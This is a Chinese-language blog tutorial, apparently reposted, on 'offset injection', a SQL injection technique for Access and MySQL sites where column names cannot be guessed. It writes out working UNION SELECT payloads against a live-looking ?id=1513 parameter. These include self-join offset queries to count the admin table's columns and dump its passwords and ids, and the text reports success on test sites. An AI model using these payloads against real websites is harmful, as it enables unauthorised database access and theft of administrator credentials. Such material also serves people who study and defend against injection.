偏移注入

应用场景

access、mysql数据库的网站存在注入,但跑不出字段名(列名)。

偏移注入步骤

  • 1.判断注入点
  • 2.order by 判断当前表的列数
    (该判断出来的列数可能等于或小于该表,在于代码查询语法有没有写死)
  • 3.联合查询猜表名
  • 4.获取目标表的列数
    (union select 1,2,3,...,* from TABLE)
  • 5.开始偏移注入(两种方法)
  • (1)传统移位(需要一定运气,可以多次偏移):
    union select 1,2,3,...,* from TABLE as a inner join TABLE as b on a.id=b.id
  • (2)新手法(成功率比第一种高,但也有瓶颈):
    union select 1,2,3,admin.*,8 from TABLE

应用条件

两种手法均需要存在注入的当前表的列数 大于 目标表的列数,越大成功率越高。
第一种手法:为了保证成功率,最好是目标表列数的2倍。另外注意注入过程中隐性显位(查看源代码)。
第二种手法:页面显位至少存在连续的 2~3位连续的数字(如果有隐性显位也算),也不一定,具体问题具体对待。

测试过程

以下测试前面3步不作记录。

第一种方式

页面显位

隐性显位

判断目标admin表的列数

通过 * 泛测试
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin

到16的时候页面正常显位(和22的时候一样)

所以,admin的列数为 22-16=6
第一种偏移注入:
由上得知admin列名为6,进行偏移注入时也得偏移一个admin列数,及16-6=10
代码为 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
注释:
admin as a inner join admin as b on a.id=b.id 这句话的意思是将 admin表 标记为 a 也标记为 b,这样a、b两个相同的表的 id 列参数相等。inner join ... on 返回关键行。

这样就显位得到日期,隐性显位还有密码。

但没有账户名,可以通过增加 a.id、b.id 字段让排序重组,实现同一个地方爆出不同信息。
执行 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

也可进行二次偏移
执行 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
二次移位再减去一个 admin表的列数。这里加了 a.id、b.id、c.id 字段,如果不加也可以执行,如果没爆出目标数据就加上进行打乱偏移字段重新查询。

第二种方式

前面判断出 admin 列数为 6 列,且由上可知,显位数字为 3,9,13,15(包括隐性显位,同上)

所以我们通过 在显位处 13 放置 admin.* (查询admin表的所有内容)
执行 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,admin.*,19,20,21,22 from admin
这里 admin.* 占了6个字段(即admin表的字段数)。

直接爆出密码和id号

同样依次替换其他几个显位数字的位置,但仍不能爆出账号名,所以此处有点鸡肋。但是如果显位数字连续,且有多个,注入时就不用传统手工方法去猜列名。

如下另外一个测试站点,显位连续 2、3、4,就可以:

第二种的原理
为了方便理解,直接通过mysql查询截图展示。mysql 在跨表查询中,可以把目标中的字段在存在注入的当前表中显位出来。

end!

猜你喜欢

转载自www.cnblogs.com/sstfy/p/10351813.html
今日推荐